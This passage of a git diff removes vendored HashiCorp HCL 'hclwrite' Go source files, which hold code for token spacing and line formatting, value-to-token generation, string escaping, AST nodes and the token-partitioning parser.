hclsyntax.TokenOParen: - // Don't split a function name from open paren in a call - return false - - case subject.Type == hclsyntax.TokenDot || after.Type == hclsyntax.TokenDot: - // Don't use spaces around attribute access dots - return false - - case after.Type == hclsyntax.TokenComma || after.Type == hclsyntax.TokenEllipsis: - // No space right before a comma or ... in an argument list - return false - - case subject.Type == hclsyntax.TokenComma: - // Always a space after a comma - return true - - case subject.Type == hclsyntax.TokenQuotedLit || subject.Type == hclsyntax.TokenStringLit || subject.Type == hclsyntax.TokenOQuote || subject.Type == hclsyntax.TokenOHeredoc || after.Type == hclsyntax.TokenQuotedLit || after.Type == hclsyntax.TokenStringLit || after.Type == hclsyntax.TokenCQuote || after.Type == hclsyntax.TokenCHeredoc: - // No extra spaces within templates - return false - - case inKeyword.TokenMatches(subject.asHCLSyntax()) && before.Type == hclsyntax.TokenIdent: - // This is a special case for inside for expressions where a user - // might want to use a literal tuple constructor: - // [for x in [foo]: x] - // ... in that case, we would normally produce in[foo] thinking that - // in is a reference, but we'll recognize it as a keyword here instead - // to make the result less confusing. - return true - - case after.Type == hclsyntax.TokenOBrack && (subject.Type == hclsyntax.TokenIdent || subject.Type == hclsyntax.TokenNumberLit || tokenBracketChange(subject) < 0): - return false - - case subject.Type == hclsyntax.TokenMinus: - // Since a minus can either be subtraction or negation, and the latter - // should _not_ have a space after it, we need to use some heuristics - // to decide which case this is. - // We guess that we have a negation if the token before doesn't look - // like it could be the end of an expression. - - switch before.Type { - - case hclsyntax.TokenNil: - // Minus at the start of input must be a negation - return false - - case hclsyntax.TokenOParen, hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenEqual, hclsyntax.TokenColon, hclsyntax.TokenComma, hclsyntax.TokenQuestion: - // Minus immediately after an opening bracket or separator must be a negation. - return false - - case hclsyntax.TokenPlus, hclsyntax.TokenStar, hclsyntax.TokenSlash, hclsyntax.TokenPercent, hclsyntax.TokenMinus: - // Minus immediately after another arithmetic operator must be negation. - return false - - case hclsyntax.TokenEqualOp, hclsyntax.TokenNotEqual, hclsyntax.TokenGreaterThan, hclsyntax.TokenGreaterThanEq, hclsyntax.TokenLessThan, hclsyntax.TokenLessThanEq: - // Minus immediately after another comparison operator must be negation. - return false - - case hclsyntax.TokenAnd, hclsyntax.TokenOr, hclsyntax.TokenBang: - // Minus immediately after logical operator doesn't make sense but probably intended as negation. - return false - - default: - return true - } - - case subject.Type == hclsyntax.TokenOBrace || after.Type == hclsyntax.TokenCBrace: - // Unlike other bracket types, braces have spaces on both sides of them, - // both in single-line nested blocks foo { bar = baz } and in object - // constructor expressions foo = { bar = baz }. - if subject.Type == hclsyntax.TokenOBrace && after.Type == hclsyntax.TokenCBrace { - // An open brace followed by a close brace is an exception, however. - // e.g. foo {} rather than foo { } - return false - } - return true - - // In the unlikely event that an interpolation expression is just - // a single object constructor, we'll put a space between the ${ and - // the following { to make this more obvious, and then the same - // thing for the two braces at the end. - case (subject.Type == hclsyntax.TokenTemplateInterp || subject.Type == hclsyntax.TokenTemplateControl) && after.Type == hclsyntax.TokenOBrace: - return true - case subject.Type == hclsyntax.TokenCBrace && after.Type == hclsyntax.TokenTemplateSeqEnd: - return true - - // Don't add spaces between interpolated items - case subject.Type == hclsyntax.TokenTemplateSeqEnd && (after.Type == hclsyntax.TokenTemplateInterp || after.Type == hclsyntax.TokenTemplateControl): - return false - - case tokenBracketChange(subject) > 0: - // No spaces after open brackets - return false - - case tokenBracketChange(after) < 0: - // No spaces before close brackets - return false - - default: - // Most tokens are space-separated - return true - - } -} - -func linesForFormat(tokens Tokens) []formatLine { - if len(tokens) == 0 { - return make([]formatLine, 0) - } - - // first we'll count our lines, so we can allocate the array for them in - // a single block. (We want to minimize memory pressure in this codepath, - // so it can be run somewhat-frequently by editor integrations.) - lineCount := 1 // if there are zero newlines then there is one line - for _, tok := range tokens { - if tokenIsNewline(tok) { - lineCount++ - } - } - - // To start, we'll just put everything in the "lead" cell on each line, - // and then do another pass over the lines afterwards to adjust. - lines := make([]formatLine, lineCount) - li := 0 - lineStart := 0 - for i, tok := range tokens { - if tok.Type == hclsyntax.TokenEOF { - // The EOF token doesn't belong to any line, and terminates the - // token sequence. - lines[li].lead = tokens[lineStart:i] - break - } - - if tokenIsNewline(tok) { - lines[li].lead = tokens[lineStart : i+1] - lineStart = i + 1 - li++ - } - } - - // If a set of tokens doesn't end in TokenEOF (e.g. because it's a - // fragment of tokens from the middle of a file) then we might fall - // out here with a line still pending. - if lineStart < len(tokens) { - lines[li].lead = tokens[lineStart:] - if lines[li].lead[len(lines[li].lead)-1].Type == hclsyntax.TokenEOF { - lines[li].lead = lines[li].lead[:len(lines[li].lead)-1] - } - } - - // Now we'll pick off any trailing comments and attribute assignments - // to shuffle off into the "comment" and "assign" cells. - for i := range lines { - line := &lines[i] - - if len(line.lead) == 0 { - // if the line is empty then there's nothing for us to do - // (this should happen only for the final line, because all other - // lines would have a newline token of some kind) - continue - } - - if len(line.lead) > 1 && line.lead[len(line.lead)-1].Type == hclsyntax.TokenComment { - line.comment = line.lead[len(line.lead)-1:] - line.lead = line.lead[:len(line.lead)-1] - } - - for i, tok := range line.lead { - if i > 0 && tok.Type == hclsyntax.TokenEqual { - // We only move the tokens into "assign" if the RHS seems to - // be a whole expression, which we determine by counting - // brackets. If there's a net positive number of brackets - // then that suggests we're introducing a multi-line expression. - netBrackets := 0 - for _, token := range line.lead[i:] { - netBrackets += tokenBracketChange(token) - } - - if netBrackets == 0 { - line.assign = line.lead[i:] - line.lead = line.lead[:i] - } - break - } - } - } - - return lines -} - -func tokenIsNewline(tok *Token) bool { - if tok.Type == hclsyntax.TokenNewline { - return true - } else if tok.Type == hclsyntax.TokenComment { - // Single line tokens (# and //) consume their terminating newline, - // so we need to treat them as newline tokens as well. - if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { - return true - } - } - return false -} - -func tokenBracketChange(tok *Token) int { - switch tok.Type { - case hclsyntax.TokenOBrace, hclsyntax.TokenOBrack, hclsyntax.TokenOParen, hclsyntax.TokenTemplateControl, hclsyntax.TokenTemplateInterp: - return 1 - case hclsyntax.TokenCBrace, hclsyntax.TokenCBrack, hclsyntax.TokenCParen, hclsyntax.TokenTemplateSeqEnd: - return -1 - default: - return 0 - } -} - -// formatLine represents a single line of source code for formatting purposes, -// splitting its tokens into up to three "cells": -// -// lead: always present, representing everything up to one of the others -// assign: if line contains an attribute assignment, represents the tokens -// starting at (and including) the equals symbol -// comment: if line contains any non-comment tokens and ends with a -// single-line comment token, represents the comment. -// -// When formatting, the leading spaces of the first tokens in each of these -// cells is adjusted to align vertically their occurences on consecutive -// rows. -type formatLine struct { - lead Tokens - assign Tokens - comment Tokens -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclwrite/generate.go b/vendor/github.com/hashicorp/hcl/v2/hclwrite/generate.go deleted file mode 100644 index 48e1312113..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclwrite/generate.go +++ /dev/null @@ -1,256 +0,0 @@ -package hclwrite - -import ( - "fmt" - "unicode" - "unicode/utf8" - - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/hclsyntax" - "github.com/zclconf/go-cty/cty" -) - -// TokensForValue returns a sequence of tokens that represents the given -// constant value. -// -// This function only supports types that are used by HCL. In particular, it -// does not support capsule types and will panic if given one. -// -// It is not possible to express an unknown value in source code, so this -// function will panic if the given value is unknown or contains any unknown -// values. A caller can call the value's IsWhollyKnown method to verify that -// no unknown values are present before calling TokensForValue. -func TokensForValue(val cty.Value) Tokens { - toks := appendTokensForValue(val, nil) - format(toks) // fiddle with the SpacesBefore field to get canonical spacing - return toks -} - -// TokensForTraversal returns a sequence of tokens that represents the given -// traversal. -// -// If the traversal is absolute then the result is a self-contained, valid -// reference expression. If the traversal is relative then the returned tokens -// could be appended to some other expression tokens to traverse into the -// represented expression. -func TokensForTraversal(traversal hcl.Traversal) Tokens { - toks := appendTokensForTraversal(traversal, nil) - format(toks) // fiddle with the SpacesBefore field to get canonical spacing - return toks -} - -func appendTokensForValue(val cty.Value, toks Tokens) Tokens { - switch { - - case !val.IsKnown(): - panic("cannot produce tokens for unknown value") - - case val.IsNull(): - toks = append(toks, &Token{ - Type: hclsyntax.TokenIdent, - Bytes: []byte(`null`), - }) - - case val.Type() == cty.Bool: - var src []byte - if val.True() { - src = []byte(`true`) - } else { - src = []byte(`false`) - } - toks = append(toks, &Token{ - Type: hclsyntax.TokenIdent, - Bytes: src, - }) - - case val.Type() == cty.Number: - bf := val.AsBigFloat() - srcStr := bf.Text('f', -1) - toks = append(toks, &Token{ - Type: hclsyntax.TokenNumberLit, - Bytes: []byte(srcStr), - }) - - case val.Type() == cty.String: - // TODO: If it's a multi-line string ending in a newline, format - // it as a HEREDOC instead. - src := escapeQuotedStringLit(val.AsString()) - toks = append(toks, &Token{ - Type: hclsyntax.TokenOQuote, - Bytes: []byte{'"'}, - }) - if len(src) > 0 { - toks = append(toks, &Token{ - Type: hclsyntax.TokenQuotedLit, - Bytes: src, - }) - } - toks = append(toks, &Token{ - Type: hclsyntax.TokenCQuote, - Bytes: []byte{'"'}, - }) - - case val.Type().IsListType() || val.Type().IsSetType() || val.Type().IsTupleType(): - toks = append(toks, &Token{ - Type: hclsyntax.TokenOBrack, - Bytes: []byte{'['}, - }) - - i := 0 - for it := val.ElementIterator(); it.Next(); { - if i > 0 { - toks = append(toks, &Token{ - Type: hclsyntax.TokenComma, - Bytes: []byte{','}, - }) - } - _, eVal := it.Element() - toks = appendTokensForValue(eVal, toks) - i++ - } - - toks = append(toks, &Token{ - Type: hclsyntax.TokenCBrack, - Bytes: []byte{']'}, - }) - - case val.Type().IsMapType() || val.Type().IsObjectType(): - toks = append(toks, &Token{ - Type: hclsyntax.TokenOBrace, - Bytes: []byte{'{'}, - }) - if val.LengthInt() > 0 { - toks = append(toks, &Token{ - Type: hclsyntax.TokenNewline, - Bytes: []byte{'\n'}, - }) - } - - i := 0 - for it := val.ElementIterator(); it.Next(); { - eKey, eVal := it.Element() - if hclsyntax.ValidIdentifier(eKey.AsString()) { - toks = append(toks, &Token{ - Type: hclsyntax.TokenIdent, - Bytes: []byte(eKey.AsString()), - }) - } else { - toks = appendTokensForValue(eKey, toks) - } - toks = append(toks, &Token{ - Type: hclsyntax.TokenEqual, - Bytes: []byte{'='}, - }) - toks = appendTokensForValue(eVal, toks) - toks = append(toks, &Token{ - Type: hclsyntax.TokenNewline, - Bytes: []byte{'\n'}, - }) - i++ - } - - toks = append(toks, &Token{ - Type: hclsyntax.TokenCBrace, - Bytes: []byte{'}'}, - }) - - default: - panic(fmt.Sprintf("cannot produce tokens for %#v", val)) - } - - return toks -} - -func appendTokensForTraversal(traversal hcl.Traversal, toks Tokens) Tokens { - for _, step := range traversal { - toks = appendTokensForTraversalStep(step, toks) - } - return toks -} - -func appendTokensForTraversalStep(step hcl.Traverser, toks Tokens) Tokens { - switch ts := step.(type) { - case hcl.TraverseRoot: - toks = append(toks, &Token{ - Type: hclsyntax.TokenIdent, - Bytes: []byte(ts.Name), - }) - case hcl.TraverseAttr: - toks = append( - toks, - &Token{ - Type: hclsyntax.TokenDot, - Bytes: []byte{'.'}, - }, - &Token{ - Type: hclsyntax.TokenIdent, - Bytes: []byte(ts.Name), - }, - ) - case hcl.TraverseIndex: - toks = append(toks, &Token{ - Type: hclsyntax.TokenOBrack, - Bytes: []byte{'['}, - }) - toks = appendTokensForValue(ts.Key, toks) - toks = append(toks, &Token{ - Type: hclsyntax.TokenCBrack, - Bytes: []byte{']'}, - }) - default: - panic(fmt.Sprintf("unsupported traversal step type %T", step)) - } - - return toks -} - -func escapeQuotedStringLit(s string) []byte { - if len(s) == 0 { - return nil - } - buf := make([]byte, 0, len(s)) - for i, r := range s { - switch r { - case '\n': - buf = append(buf, '\\', 'n') - case '\r': - buf = append(buf, '\\', 'r') - case '\t': - buf = append(buf, '\\', 't') - case '"': - buf = append(buf, '\\', '"') - case '\\': - buf = append(buf, '\\', '\\') - case '$', '%': - buf = appendRune(buf, r) - remain := s[i+1:] - if len(remain) > 0 && remain[0] == '{' { - // Double up our template introducer symbol to escape it. - buf = appendRune(buf, r) - } - default: - if !unicode.IsPrint(r) { - var fmted string - if r < 65536 { - fmted = fmt.Sprintf("\\u%04x", r) - } else { - fmted = fmt.Sprintf("\\U%08x", r) - } - buf = append(buf, fmted...) - } else { - buf = appendRune(buf, r) - } - } - } - return buf -} - -func appendRune(b []byte, r rune) []byte { - l := utf8.RuneLen(r) - for i := 0; i < l; i++ { - b = append(b, 0) // make room at the end of our buffer - } - ch := b[len(b)-l:] - utf8.EncodeRune(ch, r) - return b -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclwrite/native_node_sorter.go b/vendor/github.com/hashicorp/hcl/v2/hclwrite/native_node_sorter.go deleted file mode 100644 index cedf686270..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclwrite/native_node_sorter.go +++ /dev/null @@ -1,23 +0,0 @@ -package hclwrite - -import ( - "github.com/hashicorp/hcl/v2/hclsyntax" -) - -type nativeNodeSorter struct { - Nodes []hclsyntax.Node -} - -func (s nativeNodeSorter) Len() int { - return len(s.Nodes) -} - -func (s nativeNodeSorter) Less(i, j int) bool { - rangeI := s.Nodes[i].Range() - rangeJ := s.Nodes[j].Range() - return rangeI.Start.Byte < rangeJ.Start.Byte -} - -func (s nativeNodeSorter) Swap(i, j int) { - s.Nodes[i], s.Nodes[j] = s.Nodes[j], s.Nodes[i] -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclwrite/node.go b/vendor/github.com/hashicorp/hcl/v2/hclwrite/node.go deleted file mode 100644 index 45669f7f98..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclwrite/node.go +++ /dev/null @@ -1,260 +0,0 @@ -package hclwrite - -import ( - "fmt" - - "github.com/google/go-cmp/cmp" -) - -// node represents a node in the AST. -type node struct { - content nodeContent - - list *nodes - before, after *node -} - -func newNode(c nodeContent) *node { - return &node{ - content: c, - } -} - -func (n *node) Equal(other *node) bool { - return cmp.Equal(n.content, other.content) -} - -func (n *node) BuildTokens(to Tokens) Tokens { - return n.content.BuildTokens(to) -} - -// Detach removes the receiver from the list it currently belongs to. If the -// node is not currently in a list, this is a no-op. -func (n *node) Detach() { - if n.list == nil { - return - } - if n.before != nil { - n.before.after = n.after - } - if n.after != nil { - n.after.before = n.before - } - if n.list.first == n { - n.list.first = n.after - } - if n.list.last == n { - n.list.last = n.before - } - n.list = nil - n.before = nil - n.after = nil -} - -// ReplaceWith removes the receiver from the list it currently belongs to and -// inserts a new node with the given content in its place. If the node is not -// currently in a list, this function will panic. -// -// The return value is the newly-constructed node, containing the given content. -// After this function returns, the reciever is no longer attached to a list. -func (n *node) ReplaceWith(c nodeContent) *node { - if n.list == nil { - panic("can't replace node that is not in a list") - } - - before := n.before - after := n.after - list := n.list - n.before, n.after, n.list = nil, nil, nil - - nn := newNode(c) - nn.before = before - nn.after = after - nn.list = list - if before != nil { - before.after = nn - } - if after != nil { - after.before = nn - } - return nn -} - -func (n *node) assertUnattached() { - if n.list != nil { - panic(fmt.Sprintf("attempt to attach already-attached node %#v", n)) - } -} - -// nodeContent is the interface type implemented by all AST content types. -type nodeContent interface { - walkChildNodes(w internalWalkFunc) - BuildTokens(to Tokens) Tokens -} - -// nodes is a list of nodes. -type nodes struct { - first, last *node -} - -func (ns *nodes) BuildTokens(to Tokens) Tokens { - for n := ns.first; n != nil; n = n.after { - to = n.BuildTokens(to) - } - return to -} - -func (ns *nodes) Clear() { - ns.first = nil - ns.last = nil -} - -func (ns *nodes) Append(c nodeContent) *node { - n := &node{ - content: c, - } - ns.AppendNode(n) - n.list = ns - return n -} - -func (ns *nodes) AppendNode(n *node) { - if ns.last != nil { - n.before = ns.last - ns.last.after = n - } - n.list = ns - ns.last = n - if ns.first == nil { - ns.first = n - } -} - -func (ns *nodes) AppendUnstructuredTokens(tokens Tokens) *node { - if len(tokens) == 0 { - return nil - } - n := newNode(tokens) - ns.AppendNode(n) - n.list = ns - return n -} - -// FindNodeWithContent searches the nodes for a node whose content equals -// the given content. If it finds one then it returns it. Otherwise it returns -// nil. -func (ns *nodes) FindNodeWithContent(content nodeContent) *node { - for n := ns.first; n != nil; n = n.after { - if n.content == content { - return n - } - } - return nil -} - -// nodeSet is an unordered set of nodes. It is used to describe a set of nodes -// that all belong to the same list that have some role or characteristic -// in common. -type nodeSet map[*node]struct{} - -func newNodeSet() nodeSet { - return make(nodeSet) -} - -func (ns nodeSet) Has(n *node) bool { - if ns == nil { - return false - } - _, exists := ns[n] - return exists -} - -func (ns nodeSet) Add(n *node) { - ns[n] = struct{}{} -} - -func (ns nodeSet) Remove(n *node) { - delete(ns, n) -} - -func (ns nodeSet) List() []*node { - if len(ns) == 0 { - return nil - } - - ret := make([]*node, 0, len(ns)) - - // Determine which list we are working with. We assume here that all of - // the nodes belong to the same list, since that is part of the contract - // for nodeSet. - var list *nodes - for n := range ns { - list = n.list - break - } - - // We recover the order by iterating over the whole list. This is not - // the most efficient way to do it, but our node lists should always be - // small so not worth making things more complex. - for n := list.first; n != nil; n = n.after { - if ns.Has(n) { - ret = append(ret, n) - } - } - return ret -} - -// FindNodeWithContent searches the nodes for a node whose content equals -// the given content. If it finds one then it returns it. Otherwise it returns -// nil. -func (ns nodeSet) FindNodeWithContent(content nodeContent) *node { - for n := range ns { - if n.content == content { - return n - } - } - return nil -} - -type internalWalkFunc func(*node) - -// inTree can be embedded into a content struct that has child nodes to get -// a standard implementation of the NodeContent interface and a record of -// a potential parent node. -type inTree struct { - parent *node - children *nodes -} - -func newInTree() inTree { - return inTree{ - children: &nodes{}, - } -} - -func (it *inTree) assertUnattached() { - if it.parent != nil { - panic(fmt.Sprintf("node is already attached to %T", it.parent.content)) - } -} - -func (it *inTree) walkChildNodes(w internalWalkFunc) { - for n := it.children.first; n != nil; n = n.after { - w(n) - } -} - -func (it *inTree) BuildTokens(to Tokens) Tokens { - for n := it.children.first; n != nil; n = n.after { - to = n.BuildTokens(to) - } - return to -} - -// leafNode can be embedded into a content struct to give it a do-nothing -// implementation of walkChildNodes -type leafNode struct { -} - -func (n *leafNode) walkChildNodes(w internalWalkFunc) { -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclwrite/parser.go b/vendor/github.com/hashicorp/hcl/v2/hclwrite/parser.go deleted file mode 100644 index 354d4eaef7..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclwrite/parser.go +++ /dev/null @@ -1,622 +0,0 @@ -package hclwrite - -import ( - "fmt" - "sort" - - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/hclsyntax" - "github.com/zclconf/go-cty/cty" -) - -// Our "parser" here is actually not doing any parsing of its own. Instead, -// it leans on the native parser in hclsyntax, and then uses the source ranges -// from the AST to partition the raw token sequence to match the raw tokens -// up to AST nodes. -// -// This strategy feels somewhat counter-intuitive, since most of the work the -// parser does is thrown away here, but this strategy is chosen because the -// normal parsing work done by hclsyntax is considered to be the "main case", -// while modifying and re-printing source is more of an edge case, used only -// in ancillary tools, and so it's good to keep all the main parsing logic -// with the main case but keep all of the extra complexity of token wrangling -// out of the main parser, which is already rather complex just serving the -// use-cases it already serves. -// -// If the parsing step produces any errors, the returned File is nil because -// we can't reliably extract tokens from the partial AST produced by an -// erroneous parse. -func parse(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) { - file, diags := hclsyntax.ParseConfig(src, filename, start) - if diags.HasErrors() { - return nil, diags - } - - // To do our work here, we use the "native" tokens (those from hclsyntax) - // to match against source ranges in the AST, but ultimately produce - // slices from our sequence of "writer" tokens, which contain only - // *relative* position information that is more appropriate for - // transformation/writing use-cases. - nativeTokens, diags := hclsyntax.LexConfig(src, filename, start) - if diags.HasErrors() { - // should never happen, since we would've caught these diags in - // the first call above. - return nil, diags - } - writerTokens := writerTokens(nativeTokens) - - from := inputTokens{ - nativeTokens: nativeTokens, - writerTokens: writerTokens, - } - - before, root, after := parseBody(file.Body.(*hclsyntax.Body), from) - ret := &File{ - inTree: newInTree(), - - srcBytes: src, - body: root, - } - - nodes := ret.inTree.children - nodes.Append(before.Tokens()) - nodes.AppendNode(root) - nodes.Append(after.Tokens()) - - return ret, diags -} - -type inputTokens struct { - nativeTokens hclsyntax.Tokens - writerTokens Tokens -} - -func (it inputTokens) Partition(rng hcl.Range) (before, within, after inputTokens) { - start, end := partitionTokens(it.nativeTokens, rng) - before = it.Slice(0, start) - within = it.Slice(start, end) - after = it.Slice(end, len(it.nativeTokens)) - return -} - -func (it inputTokens) PartitionType(ty hclsyntax.TokenType) (before, within, after inputTokens) { - for i, t := range it.writerTokens { - if t.Type == ty { - return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)) - } - } - panic(fmt.Sprintf("didn't find any token of type %s", ty)) -} - -func (it inputTokens) PartitionTypeOk(ty hclsyntax.TokenType) (before, within, after inputTokens, ok bool) { - for i, t := range it.writerTokens { - if t.Type == ty { - return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)), true - } - } - - return inputTokens{}, inputTokens{}, inputTokens{}, false -} - -func (it inputTokens) PartitionTypeSingle(ty hclsyntax.TokenType) (before inputTokens, found *Token, after inputTokens) { - before, within, after := it.PartitionType(ty) - if within.Len() != 1 { - panic("PartitionType found more than one token") - } - return before, within.Tokens()[0], after -} - -// PartitionIncludeComments is like Partition except the returned "within" -// range includes any lead and line comments associated with the range. -func (it inputTokens) PartitionIncludingComments(rng hcl.Range) (before, within, after inputTokens) { - start, end := partitionTokens(it.nativeTokens, rng) - start = partitionLeadCommentTokens(it.nativeTokens[:start]) - _, afterNewline := partitionLineEndTokens(it.nativeTokens[end:]) - end += afterNewline - - before = it.Slice(0, start) - within = it.Slice(start, end) - after = it.Slice(end, len(it.nativeTokens)) - return - -} - -// PartitionBlockItem is similar to PartitionIncludeComments but it returns -// the comments as separate token sequences so that they can be captured into -// AST attributes. It makes assumptions that apply only to block items, so -// should not be used for other constructs. -func (it inputTokens) PartitionBlockItem(rng hcl.Range) (before, leadComments, within, lineComments, newline, after inputTokens) { - before, within, after = it.Partition(rng) - before, leadComments = before.PartitionLeadComments() - lineComments, newline, after = after.PartitionLineEndTokens() - return -} - -func (it inputTokens) PartitionLeadComments() (before, within inputTokens) { - start := partitionLeadCommentTokens(it.nativeTokens) - before = it.Slice(0, start) - within = it.Slice(start, len(it.nativeTokens)) - return -} - -func (it inputTokens) PartitionLineEndTokens() (comments, newline, after inputTokens) { - afterComments, afterNewline := partitionLineEndTokens(it.nativeTokens) - comments = it.Slice(0, afterComments) - newline = it.Slice(afterComments, afterNewline) - after = it.Slice(afterNewline, len(it.nativeTokens)) - return -} - -func (it inputTokens) Slice(start, end int) inputTokens { - // When we slice, we create a new slice with no additional capacity because - // we expect that these slices will be mutated in order to insert - // new code into the AST, and we want to ensure that a new underlying - // array gets allocated in that case, rather than writing into some - // following slice and corrupting it. - return inputTokens{ - nativeTokens: it.nativeTokens[start:end:end], - writerTokens: it.writerTokens[start:end:end], - } -} - -func (it inputTokens) Len() int { - return len(it.nativeTokens) -} - -func (it inputTokens) Tokens() Tokens { - return it.writerTokens -} - -func (it inputTokens) Types() []hclsyntax.TokenType { - ret := make([]hclsyntax.TokenType, len(it.nativeTokens)) - for i, tok := range it.nativeTokens { - ret[i] = tok.Type - } - return ret -} - -// parseBody locates the given body within the given input tokens and returns -// the resulting *Body object as well as the tokens that appeared before and -// after it. -func parseBody(nativeBody *hclsyntax.Body, from inputTokens) (inputTokens, *node, inputTokens) { - before, within, after := from.PartitionIncludingComments(nativeBody.SrcRange) - - // The main AST doesn't retain the original source ordering of the - // body items, so we need to reconstruct that ordering by inspecting - // their source ranges. - nativeItems := make([]hclsyntax.Node, 0, len(nativeBody.Attributes)+len(nativeBody.Blocks)) - for _, nativeAttr := range nativeBody.Attributes { - nativeItems = append(nativeItems, nativeAttr) - } - for _, nativeBlock := range nativeBody.Blocks { - nativeItems = append(nativeItems, nativeBlock) - } - sort.Sort(nativeNodeSorter{nativeItems}) - - body := &Body{ - inTree: newInTree(), - items: newNodeSet(), - } - - remain := within - for _, nativeItem := range nativeItems { - beforeItem, item, afterItem := parseBodyItem(nativeItem, remain) - - if beforeItem.Len() > 0 { - body.AppendUnstructuredTokens(beforeItem.Tokens()) - } - body.appendItemNode(item) - - remain = afterItem - } - - if remain.Len() > 0 { - body.AppendUnstructuredTokens(remain.Tokens()) - } - - return before, newNode(body), after -} - -func parseBodyItem(nativeItem hclsyntax.Node, from inputTokens) (inputTokens, *node, inputTokens) { - before, leadComments, within, lineComments, newline, after := from.PartitionBlockItem(nativeItem.Range()) - - var item *node - - switch tItem := nativeItem.(type) { - case *hclsyntax.Attribute: - item = parseAttribute(tItem, within, leadComments, lineComments, newline) - case *hclsyntax.Block: - item = parseBlock(tItem, within, leadComments, lineComments, newline) - default: - // should never happen if caller is behaving - panic("unsupported native item type") - } - - return before, item, after -} - -func parseAttribute(nativeAttr *hclsyntax.Attribute, from, leadComments, lineComments, newline inputTokens) *node { - attr := &Attribute{ - inTree: newInTree(), - } - children := attr.inTree.children - - { - cn := newNode(newComments(leadComments.Tokens())) - attr.leadComments = cn - children.AppendNode(cn) - } - - before, nameTokens, from := from.Partition(nativeAttr.NameRange) - { - children.AppendUnstructuredTokens(before.Tokens()) - if nameTokens.Len() != 1 { - // Should never happen with valid input - panic("attribute name is not exactly one token") - } - token := nameTokens.Tokens()[0] - in := newNode(newIdentifier(token)) - attr.name = in - children.AppendNode(in) - } - - before, equalsTokens, from := from.Partition(nativeAttr.EqualsRange) - children.AppendUnstructuredTokens(before.Tokens()) - children.AppendUnstructuredTokens(equalsTokens.Tokens()) - - before, exprTokens, from := from.Partition(nativeAttr.Expr.Range()) - { - children.AppendUnstructuredTokens(before.Tokens()) - exprNode := parseExpression(nativeAttr.Expr, exprTokens) - attr.expr = exprNode - children.AppendNode(exprNode) - } - - { - cn := newNode(newComments(lineComments.Tokens())) - attr.lineComments = cn - children.AppendNode(cn) - } - - children.AppendUnstructuredTokens(newline.Tokens()) - - // Collect any stragglers, though there shouldn't be any - children.AppendUnstructuredTokens(from.Tokens()) - - return newNode(attr) -} - -func parseBlock(nativeBlock *hclsyntax.Block, from, leadComments, lineComments, newline inputTokens) *node { - block := &Block{ - inTree: newInTree(), - labels: newNodeSet(), - } - children := block.inTree.children - - { - cn := newNode(newComments(leadComments.Tokens())) - block.leadComments = cn - children.AppendNode(cn) - } - - before, typeTokens, from := from.Partition(nativeBlock.TypeRange) - { - children.AppendUnstructuredTokens(before.Tokens()) - if typeTokens.Len() != 1 { - // Should never happen with valid input - panic("block type name is not exactly one token") - } - token := typeTokens.Tokens()[0] - in := newNode(newIdentifier(token)) - block.typeName = in - children.AppendNode(in) - } - - for _, rng := range nativeBlock.LabelRanges { - var labelTokens inputTokens - before, labelTokens, from = from.Partition(rng) - children.AppendUnstructuredTokens(before.Tokens()) - tokens := labelTokens.Tokens() - var ln *node - if len(tokens) == 1 && tokens[0].Type == hclsyntax.TokenIdent { - ln = newNode(newIdentifier(tokens[0])) - } else { - ln = newNode(newQuoted(tokens)) - } - block.labels.Add(ln) - children.AppendNode(ln) - } - - before, oBrace, from := from.Partition(nativeBlock.OpenBraceRange) - children.AppendUnstructuredTokens(before.Tokens()) - children.AppendUnstructuredTokens(oBrace.Tokens()) - - // We go a bit out of order here: we go hunting for the closing brace - // so that we have a delimited body, but then we'll deal with the body - // before we actually append the closing brace and any straggling tokens - // that appear after it. - bodyTokens, cBrace, from := from.Partition(nativeBlock.CloseBraceRange) - before, body, after := parseBody(nativeBlock.Body, bodyTokens) - children.AppendUnstructuredTokens(before.Tokens()) - block.body = body - children.AppendNode(body) - children.AppendUnstructuredTokens(after.Tokens()) - - children.AppendUnstructuredTokens(cBrace.Tokens()) - - // stragglers - children.AppendUnstructuredTokens(from.Tokens()) - if lineComments.Len() > 0 { - // blocks don't actually have line comments, so we'll just treat - // them as extra stragglers - children.AppendUnstructuredTokens(lineComments.Tokens()) - } - children.AppendUnstructuredTokens(newline.Tokens()) - - return newNode(block) -} - -func parseExpression(nativeExpr hclsyntax.Expression, from inputTokens) *node { - expr := newExpression() - children := expr.inTree.children - - nativeVars := nativeExpr.Variables() - - for _, nativeTraversal := range nativeVars { - before, traversal, after := parseTraversal(nativeTraversal, from) - children.AppendUnstructuredTokens(before.Tokens()) - children.AppendNode(traversal) - expr.absTraversals.Add(traversal) - from = after - } - // Attach any stragglers that don't belong to a traversal to the expression - // itself. In an expression with no traversals at all, this is just the - // entirety of "from". - children.AppendUnstructuredTokens(from.Tokens()) - - return newNode(expr) -} - -func parseTraversal(nativeTraversal hcl.Traversal, from inputTokens) (before inputTokens, n *node, after inputTokens) { - traversal := newTraversal() - children := traversal.inTree.children - before, from, after = from.Partition(nativeTraversal.SourceRange()) - - stepAfter := from - for _, nativeStep := range nativeTraversal { - before, step, after := parseTraversalStep(nativeStep, stepAfter) - children.AppendUnstructuredTokens(before.Tokens()) - children.AppendNode(step) - traversal.steps.Add(step) - stepAfter = after - } - - return before, newNode(traversal), after -} - -func parseTraversalStep(nativeStep hcl.Traverser, from inputTokens) (before inputTokens, n *node, after inputTokens) { - var children *nodes - switch tNativeStep := nativeStep.(type) { - - case hcl.TraverseRoot, hcl.TraverseAttr: - step := newTraverseName() - children = step.inTree.children - before, from, after = from.Partition(nativeStep.SourceRange()) - inBefore, token, inAfter := from.PartitionTypeSingle(hclsyntax.TokenIdent) - name := newIdentifier(token) - children.AppendUnstructuredTokens(inBefore.Tokens()) - step.name = children.Append(name) - 